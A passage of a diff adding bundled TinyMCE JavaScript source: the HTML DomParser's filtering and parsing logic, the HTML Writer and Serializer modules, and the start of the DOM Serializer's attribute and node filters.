+		 *		}
+		 * });
+		 * @method addNodeFilter
+		 * @method {String} name Comma separated list of nodes to collect.
+		 * @param {function} callback Callback function to execute once it has collected nodes.
+		 */
+		self.addNodeFilter = function(name, callback) {
+			each(explode(name), function(name) {
+				var list = nodeFilters[name];
+
+				if (!list) {
+					nodeFilters[name] = list = [];
+				}
+
+				list.push(callback);
+			});
+		};
+
+		/**
+		 * Adds a attribute filter function to the parser, the parser will collect nodes that has the specified attributes
+		 * and then execute the callback ones it has finished parsing the document.
+		 *
+		 * @example
+		 * parser.addAttributeFilter('src,href', function(nodes, name) {
+		 *		for (var i = 0; i < nodes.length; i++) {
+		 *			console.log(nodes[i].name);
+		 *		}
+		 * });
+		 * @method addAttributeFilter
+		 * @method {String} name Comma separated list of nodes to collect.
+		 * @param {function} callback Callback function to execute once it has collected nodes.
+		 */
+		self.addAttributeFilter = function(name, callback) {
+			each(explode(name), function(name) {
+				var i;
+
+				for (i = 0; i < attributeFilters.length; i++) {
+					if (attributeFilters[i].name === name) {
+						attributeFilters[i].callbacks.push(callback);
+						return;
+					}
+				}
+
+				attributeFilters.push({name: name, callbacks: [callback]});
+			});
+		};
+
+		/**
+		 * Parses the specified HTML string into a DOM like node tree and returns the result.
+		 *
+		 * @example
+		 * var rootNode = new DomParser({...}).parse('<b>text</b>');
+		 * @method parse
+		 * @param {String} html Html string to sax parse.
+		 * @param {Object} args Optional args object that gets passed to all filter functions.
+		 * @return {tinymce.html.Node} Root node containing the tree.
+		 */
+		self.parse = function(html, args) {
+			var parser, rootNode, node, nodes, i, l, fi, fl, list, name, validate;
+			var blockElements, startWhiteSpaceRegExp, invalidChildren = [], isInWhiteSpacePreservedElement;
+			var endWhiteSpaceRegExp, allWhiteSpaceRegExp, isAllWhiteSpaceRegExp, whiteSpaceElements;
+			var children, nonEmptyElements, rootBlockName;
+
+			args = args || {};
+			matchedNodes = {};
+			matchedAttributes = {};
+			blockElements = extend(makeMap('script,style,head,html,body,title,meta,param'), schema.getBlockElements());
+			nonEmptyElements = schema.getNonEmptyElements();
+			children = schema.children;
+			validate = settings.validate;
+			rootBlockName = "forced_root_block" in args ? args.forced_root_block : settings.forced_root_block;
+
+			whiteSpaceElements = schema.getWhiteSpaceElements();
+			startWhiteSpaceRegExp = /^[ \t\r\n]+/;
+			endWhiteSpaceRegExp = /[ \t\r\n]+$/;
+			allWhiteSpaceRegExp = /[ \t\r\n]+/g;
+			isAllWhiteSpaceRegExp = /^[ \t\r\n]+$/;
+
+			function addRootBlocks() {
+				var node = rootNode.firstChild, next, rootBlockNode;
+
+				// Removes whitespace at beginning and end of block so:
+				// <p> x </p> -> <p>x</p>
+				function trim(rootBlockNode) {
+					if (rootBlockNode) {
+						node = rootBlockNode.firstChild;
+						if (node && node.type == 3) {
+							node.value = node.value.replace(startWhiteSpaceRegExp, '');
+						}
+
+						node = rootBlockNode.lastChild;
+						if (node && node.type == 3) {
+							node.value = node.value.replace(endWhiteSpaceRegExp, '');
+						}
+					}
+				}
+
+				// Check if rootBlock is valid within rootNode for example if P is valid in H1 if H1 is the contentEditabe root
+				if (!schema.isValidChild(rootNode.name, rootBlockName.toLowerCase())) {
+					return;
+				}
+
+				while (node) {
+					next = node.next;
+
+					if (node.type == 3 || (node.type == 1 && node.name !== 'p' &&
+						!blockElements[node.name] && !node.attr('data-mce-type'))) {
+						if (!rootBlockNode) {
+							// Create a new root block element
+							rootBlockNode = createNode(rootBlockName, 1);
+							rootBlockNode.attr(settings.forced_root_block_attrs);
+							rootNode.insert(rootBlockNode, node);
+							rootBlockNode.append(node);
+						} else {
+							rootBlockNode.append(node);
+						}
+					} else {
+						trim(rootBlockNode);
+						rootBlockNode = null;
+					}
+
+					node = next;
+				}
+
+				trim(rootBlockNode);
+			}
+
+			function createNode(name, type) {
+				var node = new Node(name, type), list;
+
+				if (name in nodeFilters) {
+					list = matchedNodes[name];
+
+					if (list) {
+						list.push(node);
+					} else {
+						matchedNodes[name] = [node];
+					}
+				}
+
+				return node;
+			}
+
+			function removeWhitespaceBefore(node) {
+				var textNode, textVal, sibling;
+
+				for (textNode = node.prev; textNode && textNode.type === 3;) {
+					textVal = textNode.value.replace(endWhiteSpaceRegExp, '');
+
+					if (textVal.length > 0) {
+						textNode.value = textVal;
+						textNode = textNode.prev;
+					} else {
+						sibling = textNode.prev;
+						textNode.remove();
+						textNode = sibling;
+					}
+				}
+			}
+
+			function cloneAndExcludeBlocks(input) {
+				var name, output = {};
+
+				for (name in input) {
+					if (name !== 'li' && name != 'p') {
+						output[name] = input[name];
+					}
+				}
+
+				return output;
+			}
+
+			parser = new SaxParser({
+				validate: validate,
+				allow_script_urls: settings.allow_script_urls,
+				allow_conditional_comments: settings.allow_conditional_comments,
+
+				// Exclude P and LI from DOM parsing since it's treated better by the DOM parser
+				self_closing_elements: cloneAndExcludeBlocks(schema.getSelfClosingElements()),
+
+				cdata: function(text) {
+					node.append(createNode('#cdata', 4)).value = text;
+				},
+
+				text: function(text, raw) {
+					var textNode;
+
+					// Trim all redundant whitespace on non white space elements
+					if (!isInWhiteSpacePreservedElement) {
+						text = text.replace(allWhiteSpaceRegExp, ' ');
+
+						if (node.lastChild && blockElements[node.lastChild.name]) {
+							text = text.replace(startWhiteSpaceRegExp, '');
+						}
+					}
+
+					// Do we need to create the node
+					if (text.length !== 0) {
+						textNode = createNode('#text', 3);
+						textNode.raw = !!raw;
+						node.append(textNode).value = text;
+					}
+				},
+
+				comment: function(text) {
+					node.append(createNode('#comment', 8)).value = text;
+				},
+
+				pi: function(name, text) {
+					node.append(createNode(name, 7)).value = text;
+					removeWhitespaceBefore(node);
+				},
+
+				doctype: function(text) {
+					var newNode;
+
+					newNode = node.append(createNode('#doctype', 10));
+					newNode.value = text;
+					removeWhitespaceBefore(node);
+				},
+
+				start: function(name, attrs, empty) {
+					var newNode, attrFiltersLen, elementRule, attrName, parent;
+
+					elementRule = validate ? schema.getElementRule(name) : {};
+					if (elementRule) {
+						newNode = createNode(elementRule.outputName || name, 1);
+						newNode.attributes = attrs;
+						newNode.shortEnded = empty;
+
+						node.append(newNode);
+
+						// Check if node is valid child of the parent node is the child is
+						// unknown we don't collect it since it's probably a custom element
+						parent = children[node.name];
+						if (parent && children[newNode.name] && !parent[newNode.name]) {
+							invalidChildren.push(newNode);
+						}
+
+						attrFiltersLen = attributeFilters.length;
+						while (attrFiltersLen--) {
+							attrName = attributeFilters[attrFiltersLen].name;
+
+							if (attrName in attrs.map) {
+								list = matchedAttributes[attrName];
+
+								if (list) {
+									list.push(newNode);
+								} else {
+									matchedAttributes[attrName] = [newNode];
+								}
+							}
+						}
+
+						// Trim whitespace before block
+						if (blockElements[name]) {
+							removeWhitespaceBefore(newNode);
+						}
+
+						// Change current node if the element wasn't empty i.e not <br /> or <img />
+						if (!empty) {
+							node = newNode;
+						}
+
+						// Check if we are inside a whitespace preserved element
+						if (!isInWhiteSpacePreservedElement && whiteSpaceElements[name]) {
+							isInWhiteSpacePreservedElement = true;
+						}
+					}
+				},
+
+				end: function(name) {
+					var textNode, elementRule, text, sibling, tempNode;
+
+					elementRule = validate ? schema.getElementRule(name) : {};
+					if (elementRule) {
+						if (blockElements[name]) {
+							if (!isInWhiteSpacePreservedElement) {
+								// Trim whitespace of the first node in a block
+								textNode = node.firstChild;
+								if (textNode && textNode.type === 3) {
+									text = textNode.value.replace(startWhiteSpaceRegExp, '');
+
+									// Any characters left after trim or should we remove it
+									if (text.length > 0) {
+										textNode.value = text;
+										textNode = textNode.next;
+									} else {
+										sibling = textNode.next;
+										textNode.remove();
+										textNode = sibling;
+
+										// Remove any pure whitespace siblings
+										while (textNode && textNode.type === 3) {
+											text = textNode.value;
+											sibling = textNode.next;
+
+											if (text.length === 0 || isAllWhiteSpaceRegExp.test(text)) {
+												textNode.remove();
+												textNode = sibling;
+											}
+
+											textNode = sibling;
+										}
+									}
+								}
+
+								// Trim whitespace of the last node in a block
+								textNode = node.lastChild;
+								if (textNode && textNode.type === 3) {
+									text = textNode.value.replace(endWhiteSpaceRegExp, '');
+
+									// Any characters left after trim or should we remove it
+									if (text.length > 0) {
+										textNode.value = text;
+										textNode = textNode.prev;
+									} else {
+										sibling = textNode.prev;
+										textNode.remove();
+										textNode = sibling;
+
+										// Remove any pure whitespace siblings
+										while (textNode && textNode.type === 3) {
+											text = textNode.value;
+											sibling = textNode.prev;
+
+											if (text.length === 0 || isAllWhiteSpaceRegExp.test(text)) {
+												textNode.remove();
+												textNode = sibling;
+											}
+
+											textNode = sibling;
+										}
+									}
+								}
+							}
+
+							// Trim start white space
+							// Removed due to: #5424
+							/*textNode = node.prev;
+							if (textNode && textNode.type === 3) {
+								text = textNode.value.replace(startWhiteSpaceRegExp, '');
+
+								if (text.length > 0)
+									textNode.value = text;
+								else
+									textNode.remove();
+							}*/
+						}
+
+						// Check if we exited a whitespace preserved element
+						if (isInWhiteSpacePreservedElement && whiteSpaceElements[name]) {
+							isInWhiteSpacePreservedElement = false;
+						}
+
+						// Handle empty nodes
+						if (elementRule.removeEmpty || elementRule.paddEmpty) {
+							if (node.isEmpty(nonEmptyElements)) {
+								if (elementRule.paddEmpty) {
+									node.empty().append(new Node('#text', '3')).value = '\u00a0';
+								} else {
+									// Leave nodes that have a name like <a name="name">
+									if (!node.attributes.map.name && !node.attributes.map.id) {
+										tempNode = node.parent;
+
+										if (blockElements[node.name]) {
+											node.empty().remove();
+										} else {
+											node.unwrap();
+										}
+
+										node = tempNode;
+										return;
+									}
+								}
+							}
+						}
+
+						node = node.parent;
+					}
+				}
+			}, schema);
+
+			rootNode = node = new Node(args.context || settings.root_name, 11);
+
+			parser.parse(html);
+
+			// Fix invalid children or report invalid children in a contextual parsing
+			if (validate && invalidChildren.length) {
+				if (!args.context) {
+					fixInvalidChildren(invalidChildren);
+				} else {
+					args.invalid = true;
+				}
+			}
+
+			// Wrap nodes in the root into block elements if the root is body
+			if (rootBlockName && (rootNode.name == 'body' || args.isRootContent)) {
+				addRootBlocks();
+			}
+
+			// Run filters only when the contents is valid
+			if (!args.invalid) {
+				// Run node filters
+				for (name in matchedNodes) {
+					list = nodeFilters[name];
+					nodes = matchedNodes[name];
+
+					// Remove already removed children
+					fi = nodes.length;
+					while (fi--) {
+						if (!nodes[fi].parent) {
+							nodes.splice(fi, 1);
+						}
+					}
+
+					for (i = 0, l = list.length; i < l; i++) {
+						list[i](nodes, name, args);
+					}
+				}
+
+				// Run attribute filters
+				for (i = 0, l = attributeFilters.length; i < l; i++) {
+					list = attributeFilters[i];
+
+					if (list.name in matchedAttributes) {
+						nodes = matchedAttributes[list.name];
+
+						// Remove already removed children
+						fi = nodes.length;
+						while (fi--) {
+							if (!nodes[fi].parent) {
+								nodes.splice(fi, 1);
+							}
+						}
+
+						for (fi = 0, fl = list.callbacks.length; fi < fl; fi++) {
+							list.callbacks[fi](nodes, list.name, args);
+						}
+					}
+				}
+			}
+
+			return rootNode;
+		};
+
+		// Remove <br> at end of block elements Gecko and WebKit injects BR elements to
+		// make it possible to place the caret inside empty blocks. This logic tries to remove
+		// these elements and keep br elements that where intended to be there intact
+		if (settings.remove_trailing_brs) {
+			self.addNodeFilter('br', function(nodes) {
+				var i, l = nodes.length, node, blockElements = extend({}, schema.getBlockElements());
+				var nonEmptyElements = schema.getNonEmptyElements(), parent, lastParent, prev, prevName;
+				var elementRule, textNode;
+
+				// Remove brs from body element as well
+				blockElements.body = 1;
+
+				// Must loop forwards since it will otherwise remove all brs in <p>a<br><br><br></p>
+				for (i = 0; i < l; i++) {
+					node = nodes[i];
+					parent = node.parent;
+
+					if (blockElements[node.parent.name] && node === parent.lastChild) {
+						// Loop all nodes to the left of the current node and check for other BR elements
+						// excluding bookmarks since they are invisible
+						prev = node.prev;
+						while (prev) {
+							prevName = prev.name;
+
+							// Ignore bookmarks
+							if (prevName !== "span" || prev.attr('data-mce-type') !== 'bookmark') {
+								// Found a non BR element
+								if (prevName !== "br") {
+									break;
+								}
+
+								// Found another br it's a <br><br> structure then don't remove anything
+								if (prevName === 'br') {
+									node = null;
+									break;
+								}
+							}
+
+							prev = prev.prev;
+						}
+
+						if (node) {
+							node.remove();
+
+							// Is the parent to be considered empty after we removed the BR
+							if (parent.isEmpty(nonEmptyElements)) {
+								elementRule = schema.getElementRule(parent.name);
+
+								// Remove or padd the element depending on schema rule
+								if (elementRule) {
+									if (elementRule.removeEmpty) {
+										parent.remove();
+									} else if (elementRule.paddEmpty) {
+										parent.empty().append(new Node('#text', 3)).value = '\u00a0';
+									}
+								}
+							}
+						}
+					} else {
+						// Replaces BR elements inside inline elements like <p><b><i><br></i></b></p>
+						// so they become <p><b><i>&nbsp;</i></b></p>
+						lastParent = node;
+						while (parent && parent.firstChild === lastParent && parent.lastChild === lastParent) {
+							lastParent = parent;
+
+							if (blockElements[parent.name]) {
+								break;
+							}
+
+							parent = parent.parent;
+						}
+
+						if (lastParent === parent) {
+							textNode = new Node('#text', 3);
+							textNode.value = '\u00a0';
+							node.replace(textNode);
+						}
+					}
+				}
+			});
+		}
+
+		// Force anchor names closed, unless the setting "allow_html_in_named_anchor" is explicitly included.
+		if (!settings.allow_html_in_named_anchor) {
+			self.addAttributeFilter('id,name', function(nodes) {
+				var i = nodes.length, sibling, prevSibling, parent, node;
+
+				while (i--) {
+					node = nodes[i];
+					if (node.name === 'a' && node.firstChild && !node.attr('href')) {
+						parent = node.parent;
+
+						// Move children after current node
+						sibling = node.lastChild;
+						do {
+							prevSibling = sibling.prev;
+							parent.insert(sibling, node);
+							sibling = prevSibling;
+						} while (sibling);
+					}
+				}
+			});
+		}
+
+		if (settings.validate && schema.getValidClasses()) {
+			self.addAttributeFilter('class', function(nodes) {
+				var i = nodes.length, node, classList, ci, className, classValue;
+				var validClasses = schema.getValidClasses(), validClassesMap, valid;
+
+				while (i--) {
+					node = nodes[i];
+					classList = node.attr('class').split(' ');
+					classValue = '';
+
+					for (ci = 0; ci < classList.length; ci++) {
+						className = classList[ci];
+						valid = false;
+
+						validClassesMap = validClasses['*'];
+						if (validClassesMap && validClassesMap[className]) {
+							valid = true;
+						}
+
+						validClassesMap = validClasses[node.name];
+						if (!valid && validClassesMap && !validClassesMap[className]) {
+							valid = true;
+						}
+
+						if (valid) {
+							if (classValue) {
+								classValue += ' ';
+							}
+
+							classValue += className;
+						}
+					}
+
+					if (!classValue.length) {
+						classValue = null;
+					}
+
+					node.attr('class', classValue);
+				}
+			});
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/html/Writer.js
+
+/**
+ * Writer.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is used to write HTML tags out it can be used with the Serializer or the SaxParser.
+ *
+ * @class tinymce.html.Writer
+ * @example
+ * var writer = new tinymce.html.Writer({indent: true});
+ * var parser = new tinymce.html.SaxParser(writer).parse('<p><br></p>');
+ * console.log(writer.getContent());
+ *
+ * @class tinymce.html.Writer
+ * @version 3.4
+ */
+define("tinymce/html/Writer", [
+	"tinymce/html/Entities",
+	"tinymce/util/Tools"
+], function(Entities, Tools) {
+	var makeMap = Tools.makeMap;
+
+	/**
+	 * Constructs a new Writer instance.
+	 *
+	 * @constructor
+	 * @method Writer
+	 * @param {Object} settings Name/value settings object.
+	 */
+	return function(settings) {
+		var html = [], indent, indentBefore, indentAfter, encode, htmlOutput;
+
+		settings = settings || {};
+		indent = settings.indent;
+		indentBefore = makeMap(settings.indent_before || '');
+		indentAfter = makeMap(settings.indent_after || '');
+		encode = Entities.getEncodeFunc(settings.entity_encoding || 'raw', settings.entities);
+		htmlOutput = settings.element_format == "html";
+
+		return {
+			/**
+			 * Writes the a start element such as <p id="a">.
+			 *
+			 * @method start
+			 * @param {String} name Name of the element.
+			 * @param {Array} attrs Optional attribute array or undefined if it hasn't any.
+			 * @param {Boolean} empty Optional empty state if the tag should end like <br />.
+			 */
+			start: function(name, attrs, empty) {
+				var i, l, attr, value;
+
+				if (indent && indentBefore[name] && html.length > 0) {
+					value = html[html.length - 1];
+
+					if (value.length > 0 && value !== '\n') {
+						html.push('\n');
+					}
+				}
+
+				html.push('<', name);
+
+				if (attrs) {
+					for (i = 0, l = attrs.length; i < l; i++) {
+						attr = attrs[i];
+						html.push(' ', attr.name, '="', encode(attr.value, true), '"');
+					}
+				}
+
+				if (!empty || htmlOutput) {
+					html[html.length] = '>';
+				} else {
+					html[html.length] = ' />';
+				}
+
+				if (empty && indent && indentAfter[name] && html.length > 0) {
+					value = html[html.length - 1];
+
+					if (value.length > 0 && value !== '\n') {
+						html.push('\n');
+					}
+				}
+			},
+
+			/**
+			 * Writes the a end element such as </p>.
+			 *
+			 * @method end
+			 * @param {String} name Name of the element.
+			 */
+			end: function(name) {
+				var value;
+
+				/*if (indent && indentBefore[name] && html.length > 0) {
+					value = html[html.length - 1];
+
+					if (value.length > 0 && value !== '\n')
+						html.push('\n');
+				}*/
+
+				html.push('</', name, '>');
+
+				if (indent && indentAfter[name] && html.length > 0) {
+					value = html[html.length - 1];
+
+					if (value.length > 0 && value !== '\n') {
+						html.push('\n');
+					}
+				}
+			},
+
+			/**
+			 * Writes a text node.
+			 *
+			 * @method text
+			 * @param {String} text String to write out.
+			 * @param {Boolean} raw Optional raw state if true the contents wont get encoded.
+			 */
+			text: function(text, raw) {
+				if (text.length > 0) {
+					html[html.length] = raw ? text : encode(text);
+				}
+			},
+
+			/**
+			 * Writes a cdata node such as <![CDATA[data]]>.
+			 *
+			 * @method cdata
+			 * @param {String} text String to write out inside the cdata.
+			 */
+			cdata: function(text) {
+				html.push('<![CDATA[', text, ']]>');
+			},
+
+			/**
+			 * Writes a comment node such as <!-- Comment -->.
+			 *
+			 * @method cdata
+			 * @param {String} text String to write out inside the comment.
+			 */
+			comment: function(text) {
+				html.push('<!--', text, '-->');
+			},
+
+			/**
+			 * Writes a PI node such as <?xml attr="value" ?>.
+			 *
+			 * @method pi
+			 * @param {String} name Name of the pi.
+			 * @param {String} text String to write out inside the pi.
+			 */
+			pi: function(name, text) {
+				if (text) {
+					html.push('<?', name, ' ', text, '?>');
+				} else {
+					html.push('<?', name, '?>');
+				}
+
+				if (indent) {
+					html.push('\n');
+				}
+			},
+
+			/**
+			 * Writes a doctype node such as <!DOCTYPE data>.
+			 *
+			 * @method doctype
+			 * @param {String} text String to write out inside the doctype.
+			 */
+			doctype: function(text) {
+				html.push('<!DOCTYPE', text, '>', indent ? '\n' : '');
+			},
+
+			/**
+			 * Resets the internal buffer if one wants to reuse the writer.
+			 *
+			 * @method reset
+			 */
+			reset: function() {
+				html.length = 0;
+			},
+
+			/**
+			 * Returns the contents that got serialized.
+			 *
+			 * @method getContent
+			 * @return {String} HTML contents that got written down.
+			 */
+			getContent: function() {
+				return html.join('').replace(/\n$/, '');
+			}
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/html/Serializer.js
+
+/**
+ * Serializer.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is used to serialize down the DOM tree into a string using a Writer instance.
+ *
+ *
+ * @example
+ * new tinymce.html.Serializer().serialize(new tinymce.html.DomParser().parse('<p>text</p>'));
+ * @class tinymce.html.Serializer
+ * @version 3.4
+ */
+define("tinymce/html/Serializer", [
+	"tinymce/html/Writer",
+	"tinymce/html/Schema"
+], function(Writer, Schema) {
+	/**
+	 * Constructs a new Serializer instance.
+	 *
+	 * @constructor
+	 * @method Serializer
+	 * @param {Object} settings Name/value settings object.
+	 * @param {tinymce.html.Schema} schema Schema instance to use.
+	 */
+	return function(settings, schema) {
+		var self = this, writer = new Writer(settings);
+
+		settings = settings || {};
+		settings.validate = "validate" in settings ? settings.validate : true;
+
+		self.schema = schema = schema || new Schema();
+		self.writer = writer;
+
+		/**
+		 * Serializes the specified node into a string.
+		 *
+		 * @example
+		 * new tinymce.html.Serializer().serialize(new tinymce.html.DomParser().parse('<p>text</p>'));
+		 * @method serialize
+		 * @param {tinymce.html.Node} node Node instance to serialize.
+		 * @return {String} String with HTML based on DOM tree.
+		 */
+		self.serialize = function(node) {
+			var handlers, validate;
+
+			validate = settings.validate;
+
+			handlers = {
+				// #text
+				3: function(node) {
+					writer.text(node.value, node.raw);
+				},
+
+				// #comment
+				8: function(node) {
+					writer.comment(node.value);
+				},
+
+				// Processing instruction
+				7: function(node) {
+					writer.pi(node.name, node.value);
+				},
+
+				// Doctype
+				10: function(node) {
+					writer.doctype(node.value);
+				},
+
+				// CDATA
+				4: function(node) {
+					writer.cdata(node.value);
+				},
+
+				// Document fragment
+				11: function(node) {
+					if ((node = node.firstChild)) {
+						do {
+							walk(node);
+						} while ((node = node.next));
+					}
+				}
+			};
+
+			writer.reset();
+
+			function walk(node) {
+				var handler = handlers[node.type], name, isEmpty, attrs, attrName, attrValue, sortedAttrs, i, l, elementRule;
+
+				if (!handler) {
+					name = node.name;
+					isEmpty = node.shortEnded;
+					attrs = node.attributes;
+
+					// Sort attributes
+					if (validate && attrs && attrs.length > 1) {
+						sortedAttrs = [];
+						sortedAttrs.map = {};
+
+						elementRule = schema.getElementRule(node.name);
+						for (i = 0, l = elementRule.attributesOrder.length; i < l; i++) {
+							attrName = elementRule.attributesOrder[i];
+
+							if (attrName in attrs.map) {
+								attrValue = attrs.map[attrName];
+								sortedAttrs.map[attrName] = attrValue;
+								sortedAttrs.push({name: attrName, value: attrValue});
+							}
+						}
+
+						for (i = 0, l = attrs.length; i < l; i++) {
+							attrName = attrs[i].name;
+
+							if (!(attrName in sortedAttrs.map)) {
+								attrValue = attrs.map[attrName];
+								sortedAttrs.map[attrName] = attrValue;
+								sortedAttrs.push({name: attrName, value: attrValue});
+							}
+						}
+
+						attrs = sortedAttrs;
+					}
+
+					writer.start(node.name, attrs, isEmpty);
+
+					if (!isEmpty) {
+						if ((node = node.firstChild)) {
+							do {
+								walk(node);
+							} while ((node = node.next));
+						}
+
+						writer.end(name);
+					}
+				} else {
+					handler(node);
+				}
+			}
+
+			// Serialize element and treat all non elements as fragments
+			if (node.type == 1 && !settings.inner) {
+				walk(node);
+			} else {
+				handlers[11](node);
+			}
+
+			return writer.getContent();
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/dom/Serializer.js
+
+/**
+ * Serializer.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is used to serialize DOM trees into a string. Consult the TinyMCE Wiki API for
+ * more details and examples on how to use this class.
+ *
+ * @class tinymce.dom.Serializer
+ */
+define("tinymce/dom/Serializer", [
+	"tinymce/dom/DOMUtils",
+	"tinymce/html/DomParser",
+	"tinymce/html/Entities",
+	"tinymce/html/Serializer",
+	"tinymce/html/Node",
+	"tinymce/html/Schema",
+	"tinymce/Env",
+	"tinymce/util/Tools"
+], function(DOMUtils, DomParser, Entities, Serializer, Node, Schema, Env, Tools) {
+	var each = Tools.each, trim = Tools.trim;
+	var DOM = DOMUtils.DOM;
+
+	/**
+	 * Constructs a new DOM serializer class.
+	 *
+	 * @constructor
+	 * @method Serializer
+	 * @param {Object} settings Serializer settings object.
+	 * @param {tinymce.Editor} editor Optional editor to bind events to and get schema/dom from.
+	 */
+	return function(settings, editor) {
+		var dom, schema, htmlParser;
+
+		if (editor) {
+			dom = editor.dom;
+			schema = editor.schema;
+		}
+
+		// Default DOM and Schema if they are undefined
+		dom = dom || DOM;
+		schema = schema || new Schema(settings);
+		settings.entity_encoding = settings.entity_encoding || 'named';
+		settings.remove_trailing_brs = "remove_trailing_brs" in settings ? settings.remove_trailing_brs : true;
+
+		htmlParser = new DomParser(settings, schema);
+
+		// Convert tabindex back to elements when serializing contents
+		htmlParser.addAttributeFilter('data-mce-tabindex', function(nodes, name) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i];
+				node.attr('tabindex', node.attributes.map['data-mce-tabindex']);
+				node.attr(name, null);
+			}
+		});
+
+		// Convert move data-mce-src, data-mce-href and data-mce-style into nodes or process them if needed
+		htmlParser.addAttributeFilter('src,href,style', function(nodes, name) {
+			var i = nodes.length, node, value, internalName = 'data-mce-' + name;
+			var urlConverter = settings.url_converter, urlConverterScope = settings.url_converter_scope, undef;
+
+			while (i--) {
+				node = nodes[i];
+
+				value = node.attributes.map[internalName];
+				if (value !== undef) {
+					// Set external name to internal value and remove internal
+					node.attr(name, value.length > 0 ? value : null);
+					node.attr(internalName, null);
+				} else {
+					// No internal attribute found then convert the value we have in the DOM
+					value = node.attributes.map[name];
+
+					if (name === "style") {
+						value = dom.serializeStyle(dom.parseStyle(value), node.name);
+					} else if (urlConverter) {
+						value = urlConverter.call(urlConverterScope, value, name, node.name);
+					}
+
+					node.attr(name, value.length > 0 ? value : null);
+				}
+			}
+		});
+
+		// Remove internal classes mceItem<..> or mceSelected
+		htmlParser.addAttributeFilter('class', function(nodes) {
+			var i = nodes.length, node, value;
+
+			while (i--) {
+				node = nodes[i];
+				value = node.attr('class');
+
+				if (value) {
+					value = node.attr('class').replace(/(?:^|\s)mce-item-\w+(?!\S)/g, '');
+					node.attr('class', value.length > 0 ? value : null);
+				}
+			}
+		});
+
+		// Remove bookmark elements
+		htmlParser.addAttributeFilter('data-mce-type', function(nodes, name, args) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i];
+
+				if (node.attributes.map['data-mce-type'] === 'bookmark' && !args.cleanup) {
+					node.remove();
+				}
+			}
+		});
+
+		htmlParser.addNodeFilter('noscript', function(nodes) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i].firstChild;
+
+				if (node) {
+					node.value = Entities.decode(node.value);
+				}
+			}
+		});
+
+		// Force script into CDATA sections and remove the mce- prefix also add comments around styles
+		htmlParser.addNodeFilter('script,style', function(nodes, name) {
+			var i = nodes.length, node, value, type;
+
+			function trim(value) {
+				/*jshint maxlen:255 */
+				/*eslint max-len:0 */
+				return value.replace(/(<!--\[CDATA\[|\]\]-->)/g, '\n')
+						.replace(/^[\r\n]*|[\r\n]*$/g, '')
+						.replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi, '')
+						.replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g, '');
+			}
+
+			while (i--) {
+				node = nodes[i];
+				value = node.firstChild ? node.firstChild.value : '';
+
+				if (name === "script") {
+					// Remove mce- prefix from script elements and remove default type since the user specified
+					// a script element without type attribute
+					type = node.attr('type');
+					if (type) {
+						node.attr('type', type == 'mce-no/type' ? null : type.replace(/^mce\-/, ''));
+					}
+
+					if (value.length > 0) {
+						node.firstChild.value = '// <![CDATA[\n' + trim(value) + '\n// ]]>';
+					}
+				} else {
+					if (value.length > 0) {
+						node.firstChild.value = '<!--\n' + trim(value) + '\n-->';
+					}
+				}
+			}
+		});
+
+		// Convert comments to cdata and handle protected comments
+		htmlParser.addNodeFilter('#comment', function(nodes) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i];
+
+				if (node.value.indexOf('[CDATA[') === 0) {
+					node.name = '#cdata';
+					node.type = 4;
+					node.value = node.value.replace(/^\[CDATA\[|\]\]$/g, '');
+				} else if (node.value.indexOf('mce:protected ') === 0) {
+					node.name = "#text";
+					node.type = 3;
+					node.raw = true;
+					node.value = unescape(node.value).substr(14);
+				}
+			}
+		});
+
+		htmlParser.addNodeFilter('xml:namespace,input', function(nodes, name) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i];
+				if (node.type === 7) {
+					node.remove();
+				} else if (node.type === 1) {
+					if (name === "input" && !("type" in node.attributes.map)) {
+						node.attr('type', 'text');
+					}
+				}
+			}
+		});
+
+		// Fix list elements, TODO: Replace this later
+		if (settings.fix_list_elements) {
+			htmlParser.addNodeFilter('ul,ol', function(nodes) {
+				var i = nodes.length, node, parentNode;
+
+				while (i--) {
+					node = nodes[i];
+					parentNode = node.parent;
+
+					if (parentNode.name === 'ul' || parentNode.name === 'ol') {
+						if (node.prev && node.prev.name === 'li') {
+							node.prev.append(node);
+						}
+					}
+				}
+			});
+		}
+
+		// Remove internal data attributes
+		htmlParser.addAttributeFilter(
+			'data-mce-src,data-mce-href,data-mce-style,' +
+			'data-mce-selected,data-mce-expando,' +
+			'data-mce-type,data-mce-resize',
+
+			function(nodes, name) {
+				var i = nodes.length;
+
+				while (i--) {
+					nodes[i].attr(name, null);
+				}
+			}
+		);
+
+		// Return public methods
+		return {
+			/**
+			 * Schema instance that was used to when the Serializer was constructed.
+			 *
+			 * @field {tinymce.html.Schema} schema
+			 */
+			schema: schema,
+
+			/**
+			 * Adds a node filter function to the parser used by the serializer, the parser will collect the specified nodes by name
+			 * and then execute the callback ones it has finished parsing the document.
+			 *
+			 * @example
+			 * parser.addNodeFilter('p,h1', function(nodes, name) {
+			 *		for (var i = 0; i < nodes.length; i++) {
+			 *			console.log(nodes[i].name);
+			 *		}
+			 * });
+			 * @method addNodeFilter
+			 * @method {String} name Comma separated list of nodes to collect.
+			 * @param {function} callback Callback function to execute once it has collected nodes.
+			 */
+			addNodeFilter: htmlParser.addNodeFilter,
+
+			/**
+			 * Adds a attribute filter function to the parser used by the serializer, the parser will
+			 * collect nodes that has the specified attributes
